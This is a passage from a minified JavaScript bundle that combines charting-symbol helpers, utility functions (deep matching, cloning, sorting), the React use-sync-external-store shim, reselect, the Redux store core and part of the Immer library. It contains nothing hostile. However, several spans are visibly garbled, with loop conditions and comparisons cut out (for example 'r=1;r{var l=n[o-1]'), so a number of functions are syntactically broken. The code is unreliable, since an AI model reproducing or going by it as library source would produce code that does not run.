t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+s:l!==void 0?i+ui(l)+s:i+s},"")}var Gt=e=>e===0?0:e>0?1:-1,mr=e=>typeof e=="number"&&e!=+e,da=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,ge=e=>(typeof e=="number"||e instanceof Number)&&!mr(e),Lr=e=>ge(e)||typeof e=="string",f6=0,Ro=e=>{var t=++f6;return"".concat(e||"").concat(t)},fn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!ge(t)&&typeof t!="string")return r;var s;if(da(t)){if(n==null)return r;var o=t.indexOf("%");s=n*parseFloat(t.slice(0,o))/100}else s=+t;return mr(s)&&(s=r),i&&n!=null&&s>n&&(s=n),s},rN=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):Do(r,t))===n)}var Mt=e=>e===null||typeof e>"u",al=e=>Mt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function or(e){return e!=null}function ys(){}var m6=["type","size","sizeType"];function Bp(){return Bp=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(al(e));return aN[t]||Tx},w6=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*y6;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},j6=(e,t)=>{aN["symbol".concat(al(e))]=t},sN=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=v6(e,m6),s=fy(fy({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var p=b6(o),h=YA().type(p).size(w6(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=s,f=Ut(s);return ge(u)&&ge(d)&&ge(n)?m.createElement("path",Bp({},f,{className:Qe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};sN.registerSymbol=j6;var oN=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,Lx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(m.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{_x(i)&&(r[i]=s=>n[i](n,s))}),r},N6=(e,t,n)=>r=>(e(t,n,r),null),k6=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var s=e[i];_x(i)&&typeof s=="function"&&(r||(r={}),r[i]=N6(s,t,n))}),r};function my(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function z6(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return s}var lN={},cN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let s=0;s=0}e.isLength=t})(fN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fN;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(kd);var mN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(mN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=kd,n=mN;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(dN);var pN={},hN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wd;function n(r){return function(i){return t.get(i,r)}}e.property=n})(hN);var xN={},Dx={},vN={},Rx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Rx);var $x={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})($x);var Bx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(Bx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Rx,n=$x,r=Bx;function i(d,f,p){return typeof p!="function"?i(d,f,()=>{}):s(d,f,function h(x,g,y,v,b,w){const j=p(x,g,y,v,b,w);return j!==void 0?!!j:s(x,g,h,w)},new Map)}function s(d,f,p,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,p,h);case"function":return Object.keys(f).length>0?s(d,{...f},p,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,p,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,p,h);if(f instanceof Map)return l(d,f,p,h);if(f instanceof Set)return u(d,f,p,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(Dx);var gN={},Fx={},yN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(yN);var zd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(zd);var Wx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",s="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",p="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",N="[object Int8Array]",z="[object Int16Array]",k="[object Int32Array]",S="[object BigInt64Array]",A="[object Float32Array]",_="[object Float64Array]";e.argumentsTag=s,e.arrayBufferTag=p,e.arrayTag=d,e.bigInt64ArrayTag=S,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=A,e.float64ArrayTag=_,e.functionTag=f,e.int16ArrayTag=z,e.int32ArrayTag=k,e.int8ArrayTag=N,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(Wx);var bN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(bN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=yN,n=zd,r=Wx,i=$x,s=bN;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,p,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,p,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(s,i)}e.matches=r})(xN);var wN={},jN={},NN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Fx,n=zd,r=Wx;function i(s,o){return t.cloneDeepWith(s,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof s=="object"){if(n.getTag(s)===r.objectTag&&typeof s.constructor!="function"){const p={};return d.set(s,p),t.copyProperties(p,s,u,d),p}switch(Object.prototype.toString.call(s)){case r.numberTag:case r.stringTag:case r.booleanTag:{const p=new s.constructor(s==null?void 0:s.valueOf());return t.copyProperties(p,s),p}case r.argumentsTag:{const p={};return t.copyProperties(p,s),p.length=s.length,p[Symbol.iterator]=s[Symbol.iterator],p}default:return}}})}e.cloneDeepWith=i})(NN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NN;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(jN);var kN={},Ux={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?R6:D6;EN.useSyncExternalStore=os.useSyncExternalStore!==void 0?os.useSyncExternalStore:$6;PN.exports=EN;var B6=PN.exports;/** + * @license React + * use-sync-external-store-shim/with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Sd=m,F6=B6;function W6(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var U6=typeof Object.is=="function"?Object.is:W6,V6=F6.useSyncExternalStore,H6=Sd.useRef,K6=Sd.useEffect,Y6=Sd.useMemo,q6=Sd.useDebugValue;CN.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=H6(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=Y6(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,U6(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=V6(e,s[0],s[1]);return K6(function(){o.hasValue=!0,o.value=l},[l]),q6(l),l};SN.exports=CN;var G6=SN.exports,Vx=m.createContext(null),X6=e=>e,ot=()=>{var e=m.useContext(Vx);return e?e.store.dispatch:X6},wc=()=>{},Z6=()=>wc,Q6=(e,t)=>e===t;function je(e){var t=m.useContext(Vx),n=m.useMemo(()=>t?r=>{if(r!=null)return e(r)}:wc,[t,e]);return G6.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:Z6,t?t.store.getState:wc,t?t.store.getState:wc,n,Q6)}function J6(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function eO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function tO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var hy=e=>Array.isArray(e)?e:[e];function nO(e){const t=Array.isArray(e[0])?e[0]:e;return tO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function rO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Fl(),o.resetResultsCount()},o.resultsCount=()=>s,o.resetResultsCount=()=>{s=0},o}function oO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let s=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),J6(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:p=[],argsMemoize:h=_N,argsMemoizeOptions:x=[]}=d,g=hy(p),y=hy(x),v=nO(i),b=f(function(){return s++,u.apply(null,arguments)},...g),w=h(function(){o++;const N=rO(v,arguments);return l=b.apply(null,N),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>s,resetRecomputations:()=>{s=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var L=oO(_N),lO=Object.assign((e,t=L)=>{eO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(s=>e[s]);return t(r,(...s)=>s.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>lO}),AN={},ON={},TN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,s)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return s==="desc"?-1:1}return s==="desc"?l-o:o-l}return 0};e.compareValues=n})(TN);var MN={},Hx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(Hx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(s,o){return Array.isArray(s)?!1:typeof s=="number"||typeof s=="boolean"||s==null||t.isSymbol(s)?!0:typeof s=="string"&&(r.test(s)||!n.test(s))||o!=null&&Object.hasOwn(o,s)}e.isKey=i})(MN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=TN,n=MN,r=Nd;function i(s,o,l,c){if(s==null)return[];l=c?void 0:l,Array.isArray(s)||(s=Object.values(s)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return s.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(ON);var LN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],s=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(s,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(s,n.flatten(o),["asc"])}e.sortBy=i})(AN);var cO=AN.sortBy;const Cd=Wr(cO);var IN=e=>e.legend.settings,uO=e=>e.legend.size,dO=e=>e.legend.payload;L([dO,IN],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Cd(r,n):r});var Wl=1;function fO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=m.useState({height:0,left:0,top:0,width:0}),r=m.useCallback(i=>{if(i!=null){var s=i.getBoundingClientRect(),o={height:s.height,left:s.left,top:s.top,width:s.width};(Math.abs(o.height-t.height)>Wl||Math.abs(o.left-t.left)>Wl||Math.abs(o.top-t.top)>Wl||Math.abs(o.width-t.width)>Wl)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Pt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var mO=typeof Symbol=="function"&&Symbol.observable||"@@observable",vy=mO,lm=()=>Math.random().toString(36).substring(7).split("").join("."),pO={INIT:`@@redux/INIT${lm()}`,REPLACE:`@@redux/REPLACE${lm()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${lm()}`},au=pO;function Yx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function DN(e,t,n){if(typeof e!="function")throw new Error(Pt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Pt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Pt(1));return n(DN)(e,t)}let r=e,i=t,s=new Map,o=s,l=0,c=!1;function u(){o===s&&(o=new Map,s.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(Pt(3));return i}function f(y){if(typeof y!="function")throw new Error(Pt(4));if(c)throw new Error(Pt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(Pt(6));v=!1,u(),o.delete(b),s=null}}}function p(y){if(!Yx(y))throw new Error(Pt(7));if(typeof y.type>"u")throw new Error(Pt(8));if(typeof y.type!="string")throw new Error(Pt(17));if(c)throw new Error(Pt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(s=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(Pt(10));r=y,p({type:au.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(Pt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[vy](){return this}}}return p({type:au.INIT}),{dispatch:p,subscribe:f,getState:d,replaceReducer:h,[vy]:x}}function hO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:au.INIT})>"u")throw new Error(Pt(12));if(typeof n(void 0,{type:au.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Pt(13))})}function RN(e){const t=Object.keys(e),n={};for(let s=0;s"u")throw l&&l.type,new Error(Pt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function su(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function xO(...e){return t=>(n,r)=>{const i=t(n,r);let s=()=>{throw new Error(Pt(15))};const o={getState:i.getState,dispatch:(c,...u)=>s(c,...u)},l=e.map(c=>c(o));return s=su(...l)(i.dispatch),{...i,dispatch:s}}}function $N(e){return Yx(e)&&"type"in e&&typeof e.type=="string"}var BN=Symbol.for("immer-nothing"),gy=Symbol.for("immer-draftable"),Vt=Symbol.for("immer-state");function Un(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var un=Object,ls=un.getPrototypeOf,ou="constructor",Pd="prototype",Fp="configurable",lu="enumerable",jc="writable",$o="value",Ir=e=>!!e&&!!e[Vt];function Zn(e){var t;return e?FN(e)||_d(e)||!!e[gy]||!!((t=e[ou])!=null&&t[gy])||Ad(e)||Od(e):!1}var vO=un[Pd][ou].toString(),yy=new WeakMap;function FN(e){if(!e||!qx(e))return!1;const t=ls(e);if(t===null||t===un[Pd])return!0;const n=un.hasOwnProperty.call(t,ou)&&t[ou];if(n===Object)return!0;if(!Pa(n))return!1;let r=yy.get(n);return r===void 0&&(r=Function.toString.call(n),yy.set(n,r)),r===vO}function Ed(e,t,n=!0){sl(e)===0?(n?Reflect.ownKeys(e):un.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function sl(e){const t=e[Vt];return t?t.type_:_d(e)?1:Ad(e)?2:Od(e)?3:0}var by=(e,t,n=sl(e))=>n===2?e.has(t):un[Pd].hasOwnProperty.call(e,t),Wp=(e,t,n=sl(e))=>n===2?e.get(t):e[t],cu=(e,t,n,r=sl(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function gO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var _d=Array.isArray,Ad=e=>e instanceof Map,Od=e=>e instanceof Set,qx=e=>typeof e=="object",Pa=e=>typeof e=="function",cm=e=>typeof e=="boolean";function yO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var Nr=e=>e.copy_||e.base_,Gx=e=>e.modified_?e.copy_:e.base_;function Up(e,t){if(Ad(e))return new Map(e);if(Od(e))return new Set(e);if(_d(e))return Array[Pd].slice.call(e);const n=FN(e);if(t===!0||t==="class_only"&&!n){const r=un.getOwnPropertyDescriptors(e);delete r[Vt];let i=Reflect.ownKeys(r);for(let s=0;s1&&un.defineProperties(e,{set:Ul,add:Ul,clear:Ul,delete:Ul}),un.freeze(e),t&&Ed(e,(n,r)=>{Xx(r,!0)},!1)),e}function bO(){Un(2)}var Ul={[$o]:bO};function Td(e){return e===null||!qx(e)?!0:un.isFrozen(e)}var uu="MapSet",Vp="Patches",wy="ArrayMethods",WN={};function fa(e){const t=WN[e];return t||Un(0,e),t}var jy=e=>!!WN[e],Bo,UN=()=>Bo,wO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:jy(uu)?fa(uu):void 0,arrayMethodsPlugin_:jy(wy)?fa(wy):void 0});function Ny(e,t){t&&(e.patchPlugin_=fa(Vp),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Hp(e){Kp(e),e.drafts_.forEach(jO),e.drafts_=null}function Kp(e){e===Bo&&(Bo=e.parent_)}var ky=e=>Bo=wO(Bo,e);function jO(e){const t=e[Vt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function zy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Vt].modified_&&(Hp(t),Un(4)),Zn(e)&&(e=Sy(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Vt].base_,e,t)}else e=Sy(t,n);return NO(t,e,!0),Hp(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==BN?e:void 0}function Sy(e,t){if(Td(t))return t;const n=t[Vt];if(!n)return du(t,e.handledSet_,e);if(!Md(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);KN(n,e)}return n.copy_}function NO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Xx(t,n)}function VN(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var Md=(e,t)=>e.scope_===t,kO=[];function HN(e,t,n,r){const i=Nr(e),s=e.type_;if(r!==void 0&&Wp(i,r,s)===t){cu(i,r,n,s);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;Ed(i,(c,u)=>{if(Ir(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??kO;for(const l of o)cu(i,l,n,s)}function zO(e,t,n){e.callbacks_.push(function(i){var l;const s=t;if(!s||!Md(s,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(s);const o=Gx(s);HN(e,s.draft_??s,o,n),KN(s,i)})}function KN(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const s=i.getPath(e);s&&i.generatePatches_(e,s,t)}VN(e)}}function SO(e,t,n){const{scope_:r}=e;if(Ir(n)){const i=n[Vt];Md(i,r)&&i.callbacks_.push(function(){Nc(e);const o=Gx(i);HN(e,n,o,t)})}else Zn(n)&&e.callbacks_.push(function(){const s=Nr(e);e.type_===3?s.has(n)&&du(n,r.handledSet_,r):Wp(s,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&du(Wp(e.copy_,t,e.type_),r.handledSet_,r)})}function du(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Ir(e)||t.has(e)||!Zn(e)||Td(e)||(t.add(e),Ed(e,(r,i)=>{if(Ir(i)){const s=i[Vt];if(Md(s,n)){const o=Gx(s);cu(e,r,o,e.type_),VN(s)}}else Zn(i)&&du(i,t,n)})),e}function CO(e,t){const n=_d(e),r={type_:n?1:0,scope_:t?t.scope_:UN(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,s=fu;n&&(i=[r],s=Fo);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,[l,r]}var fu={get(e,t){if(t===Vt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=Nr(e);if(!by(i,t,e.type_))return PO(e,i,t);const s=i[t];if(e.finalized_||!Zn(s)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&yO(t))return s;if(s===um(e.base_,t)){Nc(e);const o=e.type_===1?+t:t,l=qp(e.scope_,s,e,o);return e.copy_[o]=l}return s},has(e,t){return t in Nr(e)},ownKeys(e){return Reflect.ownKeys(Nr(e))},set(e,t,n){const r=YN(Nr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=um(Nr(e),t),s=i==null?void 0:i[Vt];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(gO(n,i)&&(n!==void 0||by(e.base_,t,e.type_)))return!0;Nc(e),Yp(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),SO(e,t,n)),!0},deleteProperty(e,t){return Nc(e),um(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Yp(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Nr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[jc]:!0,[Fp]:e.type_!==1||t!=="length",[lu]:r[lu],[$o]:n[t]}},defineProperty(){Un(11)},getPrototypeOf(e){return ls(e.base_)},setPrototypeOf(){Un(12)}},Fo={};for(let e in fu){let t=fu[e];Fo[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}Fo.deleteProperty=function(e,t){return Fo.set.call(this,e,t,void 0)};Fo.set=function(e,t,n){return fu.set.call(this,e[0],t,n,e[0])};function um(e,t){const n=e[Vt];return(n?Nr(n):e)[t]}function PO(e,t,n){var i;const r=YN(t,n);return r?$o in r?r[$o]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function YN(e,t){if(!(t in e))return;let n=ls(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=ls(n)}}function Yp(e){e.modified_||(e.modified_=!0,e.parent_&&Yp(e.parent_))}function Nc(e){e.copy_||(e.assigned_=new Map,e.copy_=Up(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var EO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Pa(n)&&!Pa(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}Pa(r)||Un(6),i!==void 0&&!Pa(i)&&Un(7);let s;if(Zn(n)){const o=ky(this),l=qp(o,n,void 0);let c=!0;try{s=r(l),c=!1}finally{c?Hp(o):Kp(o)}return Ny(o,i),zy(s,o)}else if(!n||!qx(n)){if(s=r(n),s===void 0&&(s=n),s===BN&&(s=void 0),this.autoFreeze_&&Xx(s,!0),i){const o=[],l=[];fa(Vp).generateReplacementPatches_(n,s,{patches_:o,inversePatches_:l}),i(o,l)}return s}else Un(1,n)},this.produceWithPatches=(n,r)=>{if(Pa(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,s;return[this.produce(n,r,(l,c)=>{i=l,s=c}),i,s]},cm(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),cm(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),cm(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Zn(t)||Un(8),Ir(t)&&(t=qn(t));const n=ky(this),r=qp(n,t,void 0);return r[Vt].isManual_=!0,Kp(n),r}finishDraft(t,n){const r=t&&t[Vt];(!r||!r.isManual_)&&Un(9);const{scope_:i}=r;return Ny(i,n),zy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const s=n[r];if(s.path.length===0&&s.op==="replace"){t=s.value;break}}r>-1&&(n=n.slice(r+1));const i=fa(Vp).applyPatches_;return Ir(t)?i(t,n):this.produce(t,s=>i(s,n))}};function qp(e,t,n,r){const[i,s]=Ad(t)?fa(uu).proxyMap_(t,n):Od(t)?fa(uu).proxySet_(t,n):CO(t,n);return((n==null?void 0:n.scope_)??UN()).drafts_.push(i),s.callbacks_=(n==null?void 0:n.callbacks_)??[],s.key_=r,n&&r!==void 0?zO(n,s,r):s.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(s);const{patchPlugin_:u}=c;s.modified_&&u&&u.generatePatches_(s,[],c)}),i}function qn(e){return Ir(e)||Un(10,e),qN(e)}function 